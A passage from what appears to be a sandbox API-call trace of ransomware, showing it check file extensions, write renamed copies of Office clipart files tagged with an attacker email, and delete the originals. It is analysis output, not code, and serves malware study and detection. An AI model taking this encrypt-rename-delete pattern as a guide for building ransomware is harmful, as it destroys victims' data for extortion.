(lpString=".rar") returned 4 [0245.791] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.791] lstrlenW (lpString=".bz2") returned 4 [0245.791] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.791] lstrlenW (lpString=".7z") returned 3 [0245.791] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0245.792] lstrlenW (lpString=".dbf") returned 4 [0245.792] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0245.792] lstrlenW (lpString=".1cd") returned 4 [0245.792] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0245.792] lstrlenW (lpString=".jpg") returned 4 [0245.792] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0245.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0245.792] lstrlenW (lpString=".doc") returned 4 [0245.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.792] lstrlenW (lpString=".docx") returned 5 [0245.792] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.793] lstrlenW (lpString=".pdf") returned 4 [0245.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.793] lstrlenW (lpString=".xls") returned 4 [0245.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.793] lstrlenW (lpString=".xlsx") returned 5 [0245.793] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.793] lstrlenW (lpString=".ppt") returned 4 [0245.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0245.793] lstrlenW (lpString=".zip") returned 4 [0245.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.793] lstrlenW (lpString=".rar") returned 4 [0245.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.794] lstrlenW (lpString=".bz2") returned 4 [0245.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.794] lstrlenW (lpString=".7z") returned 3 [0245.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0245.794] lstrlenW (lpString=".dbf") returned 4 [0245.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0245.794] lstrlenW (lpString=".1cd") returned 4 [0245.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0245.794] lstrlenW (lpString=".jpg") returned 4 [0245.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.795] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0245.795] lstrlenW (lpString="BD09194_.WMF") returned 12 [0245.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0245.797] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=14540) returned 1 [0245.797] CloseHandle (hObject=0x3c0) returned 1 [0245.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x20 [0245.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0245.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0245.798] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.798] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0245.799] GetLastError () returned 0x0 [0245.799] ReadFile (in: hFile=0x3c0, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x38cc, lpOverlapped=0x0) returned 1 [0246.595] WriteFile (in: hFile=0x3d4, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x38d0, lpOverlapped=0x0) returned 1 [0246.601] ReadFile (in: hFile=0x3c0, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0246.601] WriteFile (in: hFile=0x3d4, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0246.602] SetEndOfFile (hFile=0x3d4) returned 1 [0247.667] CloseHandle (hObject=0x3d4) returned 1 [0248.150] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.150] SetEndOfFile (hFile=0x3c0) returned 1 [0248.191] CloseHandle (hObject=0x3c0) returned 1 [0248.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0248.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0248.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0248.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0248.203] lstrlenW (lpString=".doc") returned 4 [0248.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.204] lstrlenW (lpString=".docx") returned 5 [0248.204] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.204] lstrlenW (lpString=".pdf") returned 4 [0248.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.204] lstrlenW (lpString=".xls") returned 4 [0248.205] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.205] lstrlenW (lpString=".xlsx") returned 5 [0248.205] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.205] lstrlenW (lpString=".ppt") returned 4 [0248.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0248.205] lstrlenW (lpString=".zip") returned 4 [0248.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.205] lstrlenW (lpString=".rar") returned 4 [0248.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.205] lstrlenW (lpString=".bz2") returned 4 [0248.206] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.206] lstrlenW (lpString=".7z") returned 3 [0248.206] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0248.206] lstrlenW (lpString=".dbf") returned 4 [0248.206] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0248.206] lstrlenW (lpString=".1cd") returned 4 [0248.206] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0248.206] lstrlenW (lpString=".jpg") returned 4 [0248.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0248.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0248.207] lstrlenW (lpString=".doc") returned 4 [0248.207] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.207] lstrlenW (lpString=".docx") returned 5 [0248.207] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.207] lstrlenW (lpString=".pdf") returned 4 [0248.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.207] lstrlenW (lpString=".xls") returned 4 [0248.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.207] lstrlenW (lpString=".xlsx") returned 5 [0248.207] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.208] lstrlenW (lpString=".ppt") returned 4 [0248.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0248.208] lstrlenW (lpString=".zip") returned 4 [0248.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.208] lstrlenW (lpString=".rar") returned 4 [0248.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.208] lstrlenW (lpString=".bz2") returned 4 [0248.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.208] lstrlenW (lpString=".7z") returned 3 [0248.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0248.209] lstrlenW (lpString=".dbf") returned 4 [0248.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0248.209] lstrlenW (lpString=".1cd") returned 4 [0248.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0248.209] lstrlenW (lpString=".jpg") returned 4 [0248.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.210] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0248.210] lstrlenW (lpString="BD10890_.GIF") returned 12 [0248.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0248.211] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=13515) returned 1 [0248.211] CloseHandle (hObject=0x384) returned 1 [0248.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 0x20 [0248.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0248.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0248.212] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.212] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0248.213] GetLastError () returned 0x0 [0248.213] ReadFile (in: hFile=0x384, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x34cb, lpOverlapped=0x0) returned 1 [0248.218] WriteFile (in: hFile=0x3d4, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x34d0, lpOverlapped=0x0) returned 1 [0248.222] ReadFile (in: hFile=0x384, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.223] WriteFile (in: hFile=0x3d4, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.223] SetEndOfFile (hFile=0x3d4) returned 1 [0248.223] CloseHandle (hObject=0x3d4) returned 1 [0248.223] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.224] SetEndOfFile (hFile=0x384) returned 1 [0248.232] CloseHandle (hObject=0x384) returned 1 [0248.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0248.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0248.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0248.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0248.655] lstrlenW (lpString=".doc") returned 4 [0248.655] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0248.655] lstrlenW (lpString=".docx") returned 5 [0248.656] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0248.656] lstrlenW (lpString=".pdf") returned 4 [0248.656] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0248.656] lstrlenW (lpString=".xls") returned 4 [0248.656] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0248.656] lstrlenW (lpString=".xlsx") returned 5 [0248.656] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0248.656] lstrlenW (lpString=".ppt") returned 4 [0248.656] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0248.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0248.656] lstrlenW (lpString=".zip") returned 4 [0248.656] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0248.657] lstrlenW (lpString=".rar") returned 4 [0248.657] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0248.657] lstrlenW (lpString=".bz2") returned 4 [0248.658] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0248.658] lstrlenW (lpString=".7z") returned 3 [0248.658] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0248.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0248.658] lstrlenW (lpString=".dbf") returned 4 [0248.658] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0248.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0248.658] lstrlenW (lpString=".1cd") returned 4 [0248.658] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0248.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0248.658] lstrlenW (lpString=".jpg") returned 4 [0248.658] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0248.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0248.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0248.659] lstrlenW (lpString=".doc") returned 4 [0248.659] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0248.659] lstrlenW (lpString=".docx") returned 5 [0248.659] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0248.659] lstrlenW (lpString=".pdf") returned 4 [0248.659] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0248.659] lstrlenW (lpString=".xls") returned 4 [0248.659] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0248.659] lstrlenW (lpString=".xlsx") returned 5 [0248.659] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0248.660] lstrlenW (lpString=".ppt") returned 4 [0248.660] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0248.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0248.660] lstrlenW (lpString=".zip") returned 4 [0248.660] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0248.660] lstrlenW (lpString=".rar") returned 4 [0248.660] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0248.660] lstrlenW (lpString=".bz2") returned 4 [0248.660] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0248.660] lstrlenW (lpString=".7z") returned 3 [0248.660] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0248.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0248.660] lstrlenW (lpString=".dbf") returned 4 [0248.661] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0248.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0248.661] lstrlenW (lpString=".1cd") returned 4 [0248.661] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0248.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0248.661] lstrlenW (lpString=".jpg") returned 4 [0248.661] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0248.662] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0248.662] lstrlenW (lpString="BD19582_.GIF") returned 12 [0248.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0252.350] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=15733) returned 1 [0252.351] CloseHandle (hObject=0x3c0) returned 1 [0252.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 0x20 [0252.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0252.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0252.862] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.862] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0252.864] GetLastError () returned 0x0 [0252.864] ReadFile (in: hFile=0x15c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x3d75, lpOverlapped=0x0) returned 1 [0252.911] WriteFile (in: hFile=0x324, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0252.916] ReadFile (in: hFile=0x15c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.916] WriteFile (in: hFile=0x324, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.916] SetEndOfFile (hFile=0x324) returned 1 [0252.917] CloseHandle (hObject=0x324) returned 1 [0252.917] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.917] SetEndOfFile (hFile=0x15c) returned 1 [0252.924] CloseHandle (hObject=0x15c) returned 1 [0252.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0253.116] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0253.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0253.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0253.117] lstrlenW (lpString=".doc") returned 4 [0253.117] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0253.117] lstrlenW (lpString=".docx") returned 5 [0253.117] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0253.117] lstrlenW (lpString=".pdf") returned 4 [0253.117] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0253.117] lstrlenW (lpString=".xls") returned 4 [0253.117] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0253.117] lstrlenW (lpString=".xlsx") returned 5 [0253.117] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0253.117] lstrlenW (lpString=".ppt") returned 4 [0253.117] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0253.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0253.118] lstrlenW (lpString=".zip") returned 4 [0253.118] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0253.118] lstrlenW (lpString=".rar") returned 4 [0253.118] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0253.118] lstrlenW (lpString=".bz2") returned 4 [0253.118] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0253.118] lstrlenW (lpString=".7z") returned 3 [0253.119] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0253.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0253.119] lstrlenW (lpString=".dbf") returned 4 [0253.119] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0253.119] lstrlenW 